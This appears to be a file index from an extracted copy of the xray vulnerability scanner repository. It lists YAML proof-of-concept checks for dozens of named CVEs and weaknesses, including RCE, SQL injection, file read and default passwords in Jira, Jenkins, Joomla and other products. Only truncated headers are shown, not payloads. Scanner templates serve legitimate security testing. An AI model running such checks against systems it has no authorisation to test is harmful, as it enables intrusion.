"preview": "name: poc-yaml-influxdb-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/inspur-tscev4-cve-2020-21224-rce.yml",
"chars": 619,
"preview": "name: poc-yaml-inspur-tscev4-cve-2020-21224-rce\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 100000000"
},
{
"path": "pocs/jboss-cve-2010-1871.yml",
"chars": 665,
"preview": "name: poc-yaml-jboss-cve-2010-1871\nmanual: true\ntransport: http\nset:\n r1: randomInt(8000000, 10000000)\n r2: random"
},
{
"path": "pocs/jboss-unauth.yml",
"chars": 474,
"preview": "name: poc-yaml-jboss-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/jeewms-showordownbyurl-fileread.yml",
"chars": 781,
"preview": "name: poc-yaml-jeewms-showordownbyurl-fileread\nmanual: true\ntransport: http\nrules:\n linux0:\n request:\n "
},
{
"path": "pocs/jellyfin-cve-2021-29490.yml",
"chars": 1022,
"preview": "name: poc-yaml-jellyfin-cve-2021-29490\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n me"
},
{
"path": "pocs/jellyfin-file-read-cve-2021-21402.yml",
"chars": 500,
"preview": "name: poc-yaml-jellyfin-file-read-cve-2021-21402\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/jenkins-cve-2018-1000600.yml",
"chars": 625,
"preview": "name: poc-yaml-jenkins-cve-2018-1000600\nmanual: true\ntransport: http\nset:\n reverse: newReverse()\n reverseUrl: reve"
},
{
"path": "pocs/jenkins-cve-2018-1000861-rce.yml",
"chars": 779,
"preview": "name: poc-yaml-jenkins-cve-2018-1000861-rce\nmanual: true\ntransport: http\nset:\n rand: randomLowercase(4)\nrules:\n r0"
},
{
"path": "pocs/jenkins-unauthorized-access.yml",
"chars": 1001,
"preview": "name: poc-yaml-jenkins-unauthorized-access\nmanual: true\ntransport: http\nset:\n r1: randomInt(1000, 9999)\n r2: rando"
},
{
"path": "pocs/jetty-cve-2021-28164.yml",
"chars": 493,
"preview": "name: poc-yaml-jetty-cve-2021-28164\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true"
},
{
"path": "pocs/jinher-oa-c6-default-password.yml",
"chars": 702,
"preview": "name: poc-yaml-jinher-oa-c6-default-password\r\nmanual: true\r\ntransport: http\r\nrules:\r\n jiner:\r\n request:\r\n cache"
},
{
"path": "pocs/jira-cve-2019-11581.yml",
"chars": 1264,
"preview": "name: poc-yaml-jira-cve-2019-11581\nmanual: true\ntransport: http\nset:\n reverse: newReverse()\n reverseUrl: reverse.u"
},
{
"path": "pocs/jira-cve-2019-8442.yml",
"chars": 610,
"preview": "name: poc-yaml-jira-cve-2019-8442\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/jira-cve-2019-8449.yml",
"chars": 654,
"preview": "name: poc-yaml-jira-cve-2019-8449\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/jira-cve-2020-14179.yml",
"chars": 531,
"preview": "name: poc-yaml-jira-cve-2020-14179\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n"
},
{
"path": "pocs/jira-cve-2020-14181.yml",
"chars": 644,
"preview": "name: poc-yaml-jira-cve-2020-14181\nmanual: true\ntransport: http\nset:\n r: randomLowercase(8)\nrules:\n r0:\n re"
},
{
"path": "pocs/jira-ssrf-cve-2019-8451.yml",
"chars": 687,
"preview": "name: poc-yaml-jira-ssrf-cve-2019-8451\nmanual: true\ntransport: http\nset:\n originScheme: request.url.scheme\n origin"
},
{
"path": "pocs/joomla-cnvd-2019-34135-rce.yml",
"chars": 1862,
"preview": "name: poc-yaml-joomla-cnvd-2019-34135-rce\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(10)\n r2: randomLo"
},
{
"path": "pocs/joomla-component-vreview-sql.yml",
"chars": 741,
"preview": "name: poc-yaml-joomla-component-vreview-sql\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\nr"
},
{
"path": "pocs/joomla-cve-2015-7297-sqli.yml",
"chars": 709,
"preview": "name: poc-yaml-joomla-cve-2015-7297-sqli\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache:"
},
{
"path": "pocs/joomla-cve-2017-8917-sqli.yml",
"chars": 472,
"preview": "name: poc-yaml-joomla-cve-2017-8917-sqli\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache:"
},
{
"path": "pocs/joomla-cve-2018-7314-sql.yml",
"chars": 572,
"preview": "name: poc-yaml-joomla-cve-2018-7314-sql\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\nrules"
},
{
"path": "pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml",
"chars": 1373,
"preview": "name: poc-yaml-joomla-ext-zhbaidumap-cve-2018-6605-sqli\nmanual: true\ntransport: http\nset:\n rand: randomInt(2000000000"
},
{
"path": "pocs/jumpserver-unauth-rce.yml",
"chars": 1766,
"preview": "name: poc-yaml-jumpserver-unauth-rce\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(5)\nrules:\n authenticat"
},
{
"path": "pocs/jupyter-notebook-unauthorized-access.yml",
"chars": 516,
"preview": "name: poc-yaml-jupyter-notebook-unauthorized-access\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n "
},
{
"path": "pocs/kafka-manager-unauth.yml",
"chars": 550,
"preview": "name: poc-yaml-kafka-manager-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true"
},
{
"path": "pocs/kibana-cve-2018-17246.yml",
"chars": 836,
"preview": "name: poc-yaml-kibana-cve-2018-17246\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: tru"
},
{
"path": "pocs/kibana-unauth.yml",
"chars": 430,
"preview": "name: poc-yaml-kibana-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/kingdee-eas-directory-traversal.yml",
"chars": 992,
"preview": "name: poc-yaml-kingdee-eas-directory-traversal\r\nmanual: true\r\ntransport: http\r\nrules:\r\n kingdee1:\r\n request:\r\n "
},
{
"path": "pocs/kingsoft-v8-default-password.yml",
"chars": 612,
"preview": "name: poc-yaml-kingsoft-v8-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cac"
},
{
"path": "pocs/kingsoft-v8-file-read.yml",
"chars": 871,
"preview": "name: poc-yaml-kingsoft-v8-file-read\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: tru"
},
{
"path": "pocs/kong-cve-2020-11710-unauth.yml",
"chars": 570,
"preview": "name: poc-yaml-kong-cve-2020-11710-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache"
},
{
"path": "pocs/kubernetes-unauth.yml",
"chars": 522,
"preview": "name: poc-yaml-kubernetes-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/kyan-network-monitoring-account-password-leakage.yml",
"chars": 859,
"preview": "name: poc-yaml-kyan-network-monitoring-account-password-leakage\nmanual: true\ntransport: http\nrules:\n r0:\n requ"
},
{
"path": "pocs/landray-oa-custom-jsp-fileread.yml",
"chars": 821,
"preview": "name: poc-yaml-landray-oa-custom-jsp-fileread\nmanual: true\ntransport: http\nrules:\n linux0:\n request:\n "
},
{
"path": "pocs/lanproxy-cve-2021-3019-lfi.yml",
"chars": 676,
"preview": "name: poc-yaml-lanproxy-cve-2021-3019-lfi\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache"
},
{
"path": "pocs/laravel-cve-2021-3129.yml",
"chars": 910,
"preview": "name: poc-yaml-laravel-cve-2021-3129\r\nmanual: true\r\ntransport: http\r\nset:\r\n r: randomLowercase(12)\r\nrules:\r\n r0:\r\n "
},
{
"path": "pocs/laravel-debug-info-leak.yml",
"chars": 728,
"preview": "name: poc-yaml-laravel-debug-info-leak\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: t"
},
{
"path": "pocs/laravel-improper-webdir.yml",
"chars": 697,
"preview": "name: poc-yaml-laravel-improper-webdir\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: t"
},
{
"path": "pocs/maccms-rce.yml",
"chars": 550,
"preview": "name: poc-yaml-maccms-rce\nmanual: true\ntransport: http\nset:\n r: randomInt(800000000, 1000000000)\nrules:\n r0:\n "
},
{
"path": "pocs/maccmsv10-backdoor.yml",
"chars": 711,
"preview": "name: poc-yaml-maccmsv10-backdoor\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/metinfo-cve-2019-16996-sqli.yml",
"chars": 672,
"preview": "name: poc-yaml-metinfo-cve-2019-16996-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: ran"
},
{
"path": "pocs/metinfo-cve-2019-16997-sqli.yml",
"chars": 759,
"preview": "name: poc-yaml-metinfo-cve-2019-16997-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: ran"
},
{
"path": "pocs/metinfo-cve-2019-17418-sqli.yml",
"chars": 669,
"preview": "name: poc-yaml-metinfo-cve-2019-17418-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: ran"
},
{
"path": "pocs/metinfo-file-read.yml",
"chars": 508,
"preview": "name: poc-yaml-metinfo-file-read\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/metinfo-lfi-cnvd-2018-13393.yml",
"chars": 540,
"preview": "name: poc-yaml-metinfo-lfi-cnvd-2018-13393\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cach"
},
{
"path": "pocs/minio-default-password.yml",
"chars": 1183,
"preview": "name: poc-yaml-minio-default-password\nmanual: true\ntransport: http\nrules:\n poc10:\n request:\n cache:"
},
{
"path": "pocs/mongo-express-cve-2019-10758.yml",
"chars": 813,
"preview": "name: poc-yaml-mongo-express-cve-2019-10758\nmanual: true\ntransport: http\nset:\n reverse: newReverse()\n reverseURL: "
},
{
"path": "pocs/mpsec-isg1000-file-read.yml",
"chars": 813,
"preview": "name: poc-yaml-mpsec-isg1000-file-read\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: t"
},
{
"path": "pocs/msvod-sqli.yml",
"chars": 468,
"preview": "name: poc-yaml-msvod-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\nrules:\n r0:\n "
},
{
"path": "pocs/myucms-lfr.yml",
"chars": 397,
"preview": "name: poc-yaml-myucms-lfr\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n "
},
{
"path": "pocs/nagio-cve-2018-10735.yml",
"chars": 646,
"preview": "name: poc-yaml-nagio-cve-2018-10735\nmanual: true\ntransport: http\nset:\n r: randomInt(2000000000, 2100000000)\nrules:\n "
},
{
"path": "pocs/nagio-cve-2018-10736.yml",
"chars": 638,
"preview": "name: poc-yaml-nagio-cve-2018-10736\nmanual: true\ntransport: http\nset:\n r: randomInt(2000000000, 2100000000)\nrules:\n "
},
{
"path": "pocs/nagio-cve-2018-10737.yml",
"chars": 893,
"preview": "name: poc-yaml-nagio-cve-2018-10737\nmanual: true\ntransport: http\nset:\n r: randomInt(2000000000, 2100000000)\nrules:\n "
},
{
"path": "pocs/nagio-cve-2018-10738.yml",
"chars": 920,
"preview": "name: poc-yaml-nagio-cve-2018-10738\nmanual: true\ntransport: http\nset:\n r: randomInt(2000000000, 2100000000)\nrules:\n "
},
{
"path": "pocs/natshell-arbitrary-file-read.yml",
"chars": 482,
"preview": "name: poc-yaml-natshell-arbitrary-file-read\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cac"
},
{
"path": "pocs/netentsec-icg-default-password.yml",
"chars": 479,
"preview": "name: poc-yaml-netentsec-icg-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n c"
},
{
"path": "pocs/netentsec-ngfw-rce.yml",
"chars": 947,
"preview": "name: poc-yaml-netentsec-ngfw-rce\nmanual: true\ntransport: http\nset:\n r2: randomLowercase(10)\nrules:\n r0:\n r"
},
{
"path": "pocs/netgear-cve-2017-5521.yml",
"chars": 594,
"preview": "name: poc-yaml-netgear-cve-2017-5521\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: tru"
}
]
// ... and 260 more files (download for full content)
About this extraction
This page contains the full source code of the chaitin/xray GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 460 files (2.7 MB), approximately 728.4k tokens, and a symbol index with 45 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.